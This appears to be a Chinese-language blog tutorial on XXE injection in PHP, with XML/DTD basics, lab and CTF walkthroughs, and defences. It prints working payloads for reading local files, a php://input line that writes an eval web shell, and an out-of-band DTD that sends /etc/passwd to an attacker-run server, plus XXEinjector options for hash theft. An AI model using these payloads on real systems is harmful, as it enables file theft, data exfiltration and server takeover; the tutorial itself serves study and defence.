大家好,又见面了,我是你们的朋友全栈君。
XXE
XXE是一种很常见的漏洞类型危害也挺大的,如果一个web服务器通过用户上传处理XML文件或POST请求时,那么可能就会存在漏洞。
前段时间比较出名的微信支付的xxe漏洞
漏洞简历
XXE就是XML外部实体注入,当服务器允许引用外部实体时,同过构建恶意内容来攻击网站
产生原因
解析xml文件时允许加载外部实体,并且实体的URL支持file://和PHP://等协议,没有过滤用户提交的参数
危害
- 读取任意文件
- 执行系统命令
- 探测内网端口
- 攻击内网网站
- DOS攻击
- …
漏洞检测
利用burp检测那些接受xml作为输入内容的节点,通过修改不同的字段,如 http 请求方法
、Content-Type 头部字段
等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞
XML+DTD基础知识
XML:
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 是一种很像HTML的标记语言。
- XML 的设计宗旨是传输数据,而不是显示数据。
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准。
XML 和 HTML 之间的差异:
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:
- XML 被设计用来传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。两个语言均来自SGML语言
XML文档结构包括XML声明、DTD文档类型定义、文档元素
DTD引用方式:
内容声明:<!DOCTYOE 根元素 [元素声明]>
<?xml version='1.0' encoding="utf-8" ?>
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
<note>
<to>James</to>
<from>Tim</from>
<heading>Message</heading>
<body>winner winner !</body>
</note>
外部引用:
<?xml version='1.0' encoding="utf-8" ?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>James</to>
<from>Tim</from>
<heading>Message</heading>
<body>winner winner !</body>
</note>
其中note.dtd内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
引用公共的DTD(网络上的DTD文件):
<!DOCUTYPE 根元素 PUBLIC “DTD名称” “DTD文档的URL”>
<?xml version=”1.0″?>
<!DOCTYPE configuration PUBLIC “-//mybatis.org//DTD Config 3.0//EN” “http://mybatis.org/dtd/mybatis-3-config.dtd”>
命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;
其中,外部引用可支持http、file等协议,不同语言支持的协议不同,但存在一些通用的协议。
默认协议:
知识扩展
php伪协议
php伪协议实际上就是支持与封装的协议(共十二种)
a. file:// — 访问本地文件系统
b. http:// — 访问 HTTP(s) 网址
c. ftp:// — 访问 FTP(s) URLs
d. php:// — 访问各个输入/输出流(I/O streams)
e. zlib:// — 压缩流
f. data:// — 数据(RFC 2397)
g. glob:// — 查找匹配的文件路径模式
h. phar:// — PHP 归档
i. ssh2:// — Secure Shell 2
j. rar:// — RAR
k. ogg:// — 音频流
l. expect:// — 处理交互式的流
file://协议
file://协议在双off的情况下也是可以正常使用的
allow_url_fopen :off/on
allow_url_include:off/on
file://用于访问本地文件系统,在CTF中常用来读取本地文件
使用方法:file://文件的绝对路径和文件名
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
代码测试:
php://协议
php://协议的使用条件:
\1. 不需要开启allow_url_fopen
\2. php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php://filter 用于读取源码且在双off的情况下也可以正常使用
allow_url_fopen :off/on (使用条件)
allow_url_include:off/on
URL: http://192.168.10.1/filter.php?file=php://filter/read=convert.base64-encode/resource=index.php
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
allow_url_fopen :off/on
allow_url_include:on
URL:http://192.168.10.1/input.php?file=php://input
在Hacbar下选择POST data写入<?PHP fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[cmd])?>’);?>
漏洞代码分析
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
file_get_contents
https://www.w3school.com.cn/php/func_filesystem_file_get_contents.asp
file_get_contents() 函数把整个文件读入一个字符串中。获取客户端输入的内容
php://input #是个可以访问请求的原始数据的只读流。
结合 file_get_contents(“php://input”) 可以读取POST提交的数据,存入 $xml
simplexml_load_string 函数介绍
php 中的 simplexml_load_string 函数将xml 格式字符串转换为对应的simpleXMLElementObject
<?php
$note="<note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body></note>";
$xml=simplexml_load_string($note);
print_r($xml);
?>
php://input介绍
php://input是个可以访问请求的原始数据的只读流
结合file_get_contents(“php://input”)可以读取POST提交的数据
<?php
$str = file_get_contents("php://input");
echo $str
?>
php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement
xxe注入的思路
- file_get_contents(“php://input”)可以读取 POST 提交的数据
- 那么我们通过 POST 提交 XML 代码,
- XML 代码中引用外部 DTD,读取想要的系统文件
- 通过 simplexml_load_string()函数显示数据。
漏洞利用
有回显漏洞
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>
利用方式:可以构造xml进行提交,然后在页面中直接看到payload执行结果
任意文件读取
可以利用各种协议可以读取文件:
file协议:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///E:/phpstudys/PHPTutorial/WWW/cheshi/1.txt">]>
<value>&xxe;</value>
如果是php文件,直接读取会出现解析错误,那么就需要利用base64编码,并结合php伪协议
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
我们截取的数据包当中,可以看到并没有Content-Type:xxxxx,如果有Content-Type
改:Content-Type: application/x-www-form-urlencoded
为:Content-Type: text/xml
提交我们构建的Payload:
此时我们可以看到,我们成功返回了base64加密的数据
base64解密
在这里给大家提供3种方法,我们分别利用到了kali,burp suite,在线base64解密
在线base64解密
网上有许多的base64解码工具,大家可以自行上网查找
https://tool.oschina.net/encrypt?type=3
利用kali解密
在Kali中使用base64进行解密获取文本内容
利用burpsuite解密
对于小白不会用burp suite的情况下,这里博主在啰嗦两句
Decode as ....... 解码
Encode as ....... 加密
无回显文件读取
将PentesterLab .iso 镜像直接导入
对于新手小白不会安装的同学,博主这里直接给你们安利了更简单的
链接:https://pan.baidu.com/s/1H1TG9jkLfZVoFF-X1iPzaQ
提取码:bg4j
实验拓扑
实验前提目标服务器存在xxe:
我们向的服务器发送恶意的xml request请求到服务器端,服务器收到我们发送的xml request,就会请求我们自定义的服务器server端,来获取校验文件,收到后,我们server端就会返回到服务器当中,当返回dtd这个定义文件后就会在本服务器查询对应的数据,在返回给我们的server端
服务器可以随便选择,这里我用的是kali,对于不了解Linux的同学,博主将给你们带来亲妈级别的教学
kali服务器准备工作
需要建立一个外部的 DTD 文件,一个用于接受数据的 PHP 文件,以及存储数据的数据文件
建立DTD外部实体文件
┌──(root?xvbinyv)-[~]
└─# cd /var/www/html
┌──(root?xvbinyv)-[/var/www/html]
└─# vim test.dtd
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 " <!ENTITY e1 SYSTEM 'http://192.168.10.129/xxe.php?pass=%p1;'>">
%p2;
注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用
建立php文件
┌──(root?xvbinyv)-[/var/www/html]
└─# vim xxe.php
<?php $pass=$_GET['pass']; file_put_contents('pass.txt',$pass); ?>
创建存储数据的文件
┌──(root?xvbinyv)-[/var/www/html]
└─# touch pass.txt
修改文件权限
┌──(root?xvbinyv)-[/var/www/html]
└─# chown -R www-data:www-data /var/www/html/*
启动apache2
┌──(root?xvbinyv)-[/var/www/html]
└─# systemctl start apache2.service
测试php文件能够正常写入数据
┌──(root?xvbinyv)-[/var/www/html]
└─# curl http://192.168.159.132/xxe.php?pass=1 ┌──(root?xvbinyv)-[/var/www/html]
└─# cat pass.txt
进行XXE
PentesterLab
访问我们搭建的靶场
开启burpsuite进行截断:
payload 代码
<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.10.129/test.dtd">
<foo>&e1;</foo>
抓到的包修改以下内容
改:Content-Type: application/x-www-form-urlencoded
为:Content-Type: text/xml
在kali上查看
┌──(root?xvbinyv)-[/var/www/html]
└─# cat pass.txt
ctf题
是来自Jarvis OJ平台的一道web题型,地址http://web.jarvisoj.com:9882/
看到题目说flag在/home/ctf/flag.txt中,那么就是访问这个目录了。
首先,我们看一下地址入口,页面是一个提交框,点击go后,把输入框输入的信息,提交到文本框中
看一下响应包中的提交数据包和响应包数据:
发现,提交数据是以json格式提交的数据。那么对于这种提交方式,去尝试会不会解析xml,那么要修改一下Content-type为xml,然后写一个xml,看响应包解不解析:
我们尝试去访问flag.txt文件了,构造代码payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
<value>&xxe;</value>
成功获取flag
经过两个实验相信大家已经对XXE已经有一定的理解了
XXE防御
升级libxml版本
libxml 2.9.0以后,默认不解析外部实体,或者禁止使用外部实体.
http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html
代码层防御
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的 XML 数据
关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC
XXE工具
感兴趣的同学可以自己去网上看一下教程,随便教一下我!!!
下载地址:https://github.com/enjoiz/XXEinjector/archive/master.zip
参数说明
--host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger 记录输出结果。
--rhost 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport 远程主机的TCP端口信息。(--rport=8080)
--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc 使用netdoc协议。(Java).
--enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes 窃取运行当前应用程序用户的Windows哈希。
--expect 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt XSLT注入测试。
--ssl 使用SSL。
--proxy 使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport 设置自定义FTP端口。(--ftpport=21)
--gopherport 设置自定义gopher端口。(--gopherport=70)
--jarport 设置自定义文件上传端口。(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test 该模式可用于测试请求的有效。
--urlencode URL编码,默认为URI。
--output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast 跳过枚举询问,有可能出现结果假阳性。
--verbose 显示verbose信息。
在这里,再给大家几个靶场,感兴趣的同学可以自己尝试一下
https://github.com/c0ny1/xxe-lab
pikachu
参考文献
https://www.cnblogs.com/20175211lyz/p/11413335.html
https://security.tencent.com/index.php/blog/msg/69
https://www.runoob.com/xml/xml-tutorial.html
https://www.w3school.com.cn/dtd/dtd_intro.asp
本文章借鉴了各路大神的手笔,博主也是学生难免会有些错误和理解不到位的地方,欢迎讨论与指正!!!
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142501.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...